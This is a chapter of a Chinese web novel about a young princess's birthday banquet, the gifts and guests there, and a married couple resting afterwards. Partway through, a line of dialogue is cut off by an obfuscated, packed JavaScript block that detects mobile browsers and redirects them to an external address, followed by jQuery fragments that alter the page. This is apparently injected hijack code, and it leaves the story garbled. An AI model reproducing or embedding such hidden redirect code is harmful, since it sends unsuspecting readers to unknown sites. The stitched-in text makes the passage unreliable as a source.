楚霏这边,是昨天才被文瑾告知要给她庆生的事,唔,她配合地露出了惊喜之色,哄得文瑾乐呵了好一阵儿,连声吩咐人把特地给她新作的衣裙、配套的首饰拿出来让她去试。
同时在场的宋恒、宋瑾玉和赵婳都看出来楚霏是在配合着表露出惊喜,许是难得见文瑾乐呵成这般,三人便也不曾戳破。
楚霏穿着前一天试好的衣裙,这是用浮光锦裁的,配以金线和珠玉绣了孔雀纹饰,绣样不曾夺了浮光锦特有的光泽感,浮光锦也不曾夺了绣样的精致华美,两者恰恰相得益彰,显得穿着的人华贵绝伦。
如今已养好的头发也能挽髻戴首饰了,她今日的头发是寻了手巧的丫头特意梳的时下流行的少女发髻,戴了流苏对钗和金丝编成的轻盈发冠,冠上嵌着和衣裙同色的青色宝石和美玉,样式新奇精巧,任谁见了都要惊叹。
被下人引来的玛尼公主和崔静柔就被惊艳了。
“这装扮……当真是寿星啊!”崔静柔打量一圈,望着楚霏面露赞叹。
去年见时还觉得这位表妹一身孩子气,谁知如今再看,竟已是个娇俏的少女了,好像一眨眼就长大了?
“郡主真漂亮!”玛尼说不出大祁夸赞人的那种好听的话,只直白地称赞道。
楚霏抚了抚裙摆,平时没这般隆重的打扮过,她稍微有点不适宜:“谢谢,这大抵是……‘人靠衣装马靠鞍’?”
崔静柔没忍住笑出声:“哪有这般说自己的,表妹今天确实很美,等你一出场啊,恐怕今日来的小姐们没一个能比得上的。”
“正常人来参加生辰宴,也不会打扮得比主人家更好看吧?喧宾夺主的事谁会干呐!”楚霏一眼看穿本质,并没有被夸赞迷糊。
“郡主说得对。”玛尼公主点头表示赞同。
崔静柔要被这两个直来直去的气死了,好笑道:“哎呀,做何想那么多,别人夸了就当是真的呗!”
三人结伴往宴客的地方走,按今天宴会的安排,楚霏需要在宾客们那儿露面表谢,去男客那边时宋恒会带着她,去女客这边见年长的夫人们时由姜氏这个大伯母带着她,见年轻些的夫人们时由嫂子赵婳带着她,至于年轻姑娘们就由她自己来招待了。
“郡主,我送你的礼物是一匹小马驹,别看它小,却是草原上马王的后代,以后长大了肯定神骏非凡。”玛尼公主说起她的贺礼。
“是吗?那我生辰宴结束了可要去看看。”楚霏听此很感兴趣。
崔静柔在旁道:“唉,这一比我的礼物就不出彩了,只听闻你学医,便寻了套医书,还是从我娘嫁妆里翻出来的,表妹可别嫌弃!”
“医书?姨母陪嫁里的?那肯定是宫里曾收藏的吧?”楚霏一听眼睛都亮了几分,显然也很喜欢。
三人说着话到了宴客的地方,玛尼公主和崔静柔先行一步去了各自的位置,楚霏则带着侍女去寻宋恒。
“郡主,生辰喜乐!”半途中有人等在花丛掩映处,出声拦住了她。
“世子?”楚霏看清人时一愣,继而上下打量对方,惊讶道,“世子的腿好了?”
燕北归长身玉立,身姿挺拔地含笑站在花丛边的小路上,望着她的眸中划过惊艳之色,随即又莫名幽邃了几分:“是啊,去年寻到了民间神医,经过大半年的医治和恢复,如今已能正常行走了。”
楚霏露出笑容,行了一礼:“恭喜世子痊愈。”
她心里却有点可惜,这也是一例特殊的病患啊,只听闻太医院都束手无策,说是没人有把握治好,没想到民间还有这般厉害的神医。
燕北归递上一直拿着的锦盒:“这是我亲手雕刻的,以贺郡主生辰,望郡主福泽绵长、芳华永驻!”
“谢谢!”楚霏意外不已,这是第一个亲自把礼物送到她手里的人,哪怕是玛尼公主和崔家表姐,都是把礼物交给下人收着了。
燕北归观察着她的表情,见她只是垂了眼摩挲锦盒,看不出欣喜、期待等收到礼物时的情绪,这让他心头一滞,不禁更仔细地去打量她。
他本是极敏锐的人,越是观察心中生出的怪异感越强,为何……总觉得她反应有些……木然,冷淡或是迟钝?
“北归兄?你怎在这里?”宋瑾玉寻到这里,见这两人在一处,心头猛地一跳,赶忙上前拉了燕北归就走,“快走快走,武安侯府的公子太闹了,我快招架不住了!”
燕北归被扯走时目光还定在楚霏身上,眼中露出的是探究、怀疑和冷意。
这些楚霏一无所觉,她只是抱着锦盒仔细体会着原身传递给她的情绪,唔,受宠若惊、激动、期待、好奇等等好多种情绪交织糅杂,把她都搞糊涂了,不知该表现出哪一种,所以,她看起来才会呆呆的,除了道谢没有其他反应。
她原地站了会儿,等胸口激荡的情绪舒缓了,才摇摇头把锦盒递给身边跟着的平安:“仔细收好,等我回去了再看。”
说罢,她抬脚继续去找宋恒。
这之后就是见人,见各种各样身份的、不同的人。
楚霏跟在宋恒身边,飞快记忆着他说的人是谁,脑子里则和文瑾交给她的一份祁都权贵官员介绍的册子对应,见到的每个人都态度和善,官职品级比她的郡主爵位高的,她会行礼感谢对方来参加她的生辰宴,官职品级比她低的,则接受对方的行礼,以及句句不重样的贺词。
有一点不好的是,她记忆太好,看到某些人会不由自主地想起钟嬷嬷跟她讲过的这家人的八卦,什么兄弟不合互相使绊子的,什么婆媳不合闹得人尽皆知的,什么弟弟觊觎嫂子闹出丑闻的,什么姐妹陷害被送到家庙的等等。
等到女客那边,在姜氏带着她去见各家年长夫人时,楚霏更是不由自主地把那些“名声在外”的婆婆们给对上了真人,等嫂子赵婳带她去见年轻夫人时,她又见识到了那“被觊觎”的嫂子是哪个,说真的,长相也不算顶好看的那种,就是气质柔弱、楚楚可怜远胜他人。
唯一好些的是年轻姑娘们这里,本来文瑾代她邀请的就是之前接触过的,一则人数少,二则品性都不错,倒是没哪个是什么八卦的主角。
一场生辰宴办得宾主尽欢,长公主府很高兴,来参加宴会又结交了些权贵的人家高兴,还有相中了公子和姑娘的人家也高兴,只有楚霏这个寿星累坏了,宴会结束后回了自己的院子连话都不想说,晚间更是连平日必翻的书都不看了,早早便就寝了。
文瑾这边得了下人回话,得知她累成这样,由着她先歇着了,只笑道:“还是参加宴会少了,不然哪会如此?”
赵婳也笑:“妹妹是不习惯吧,往日醉心医术,确实没出过几次门。”
“罢了罢了,今日送来的那些生辰礼,让下人都给挪到她的院子,让她明日自己整理去吧!”文瑾看向儿媳妇,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128208|180148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你也去歇着吧,又要安排人做事又要盯着宴席,收拾残局的事让下人们去做,孙谦会盯着的。”
“是,儿媳知晓了,谢母亲体恤。”赵婳行礼告退,果真听话地去休息了。
成婚后宋瑾玉就和她说过,家里人说话不会有什么隐含意思,说什么就是什么,让她只管听着就是,不必多想多猜。
文瑾得知儿媳妇真的毫不犹豫去休息了,心里更添满意,她就喜欢这样,听到什么做什么,不胡乱揣测她的话行事。
她打小长在宫里,那种话里有话的日子过得够够得了,嫁给宋恒后,护国公府的主子们都是说话爽快的人,她便习惯了这种说话处事的风格。
如今娶了儿媳妇,自然希望儿媳妇也是这样的。
都是一家子骨肉至亲,何必非要用那种绵里藏针、明褒暗贬、言语挖坑的方式说话做事,当真是没劲儿极了!
赵婳这边一回院子,就发现宋瑾玉已让人准备好了洗澡水:“快去泡泡解乏,今日啊,你可是咱家的大功臣!”
丫鬟们偷笑着出了屋子,赵婳横他一眼进了寝室隔间。
她嫁进门看了他们起居的屋子格局,就感叹过“不愧是长公主府”,沐浴的地方就在寝室旁边,净房又在沐浴间里面,晚间使用起来无需出寝室,真是再方便不过了。
而且,和赵府完全不同的是,宋瑾玉这个世子居然没有自己单独的卧房,没成亲前他自己住这个寝室,成亲后和她一起住这个寝室,不像赵府,她的爹爹和叔叔们,都有各自的卧房,并不会一直住在娘亲和婶婶们的正房,有时会去妾室们的屋子休息。
赵婳问过宋瑾玉,据他说不止长公主府的寝室是这样,护国公府的也是这样。
等赵婳沐浴完出来,就见榻上的桌子已摆好了吃的,她的夫君正在摆盘呢!
“快来,吃碗鸡汤面暖肠胃,份量不多,不会积食的。”
赵婳笑着走近,一看果真很少,拳头大的碗里面只有三分之一,余下的是清澈的鸡汤,撒了绿色的菜叶点缀,瞧着好看极了,让人立刻有了食欲。此外,还搭配着四碟小菜,每碟也就盛了两三筷子的量,他刚才摆的就是这个。
“你吃了吗?”她问。
宋瑾玉抚了抚肚子:“我席上吃多了,你不知道,为了不搭没必要的话,我可努力地吃东西了!”
赵婳噗嗤一笑,拿了筷子吃面,他日日坚持练武呢,吃得再多也消化得了,从来不怕积食。
宋瑾玉倚在榻上,隔着桌子望着小口吃面的妻子,眼神温柔如水:“这些天为了妹妹的生辰宴,你怕是累得很了,再过些天又是瑧玉的满月宴,你别硬撑着,若是累了就和母亲直说,千万要以自身为重。”
“我知道了,还有孙大人呢,我觉着还好。”
他也没想到,今年会有如此多的事,只长公主府都忙个不停,幸好没在护国公府,不然新嫁娘的她得更忙更累。
宋瑾玉陪着赵婳吃完,拿了吸水的棉巾给她把头发擦干,让下人把碗碟撤下去后,两人就躺到床上了,他看着婢女熄了灯退出去关好门,才放了帐子躺下。
“婳儿,身子侧一侧,我给你按按吧,会舒服一些。”他让赵婳挪好身子,力道合适地帮她按摩起来。
也就按了一盏茶左右,赵婳的呼吸就均匀了。
宋瑾玉笑着帮她把长发顺好,这才躺到旁边睡了。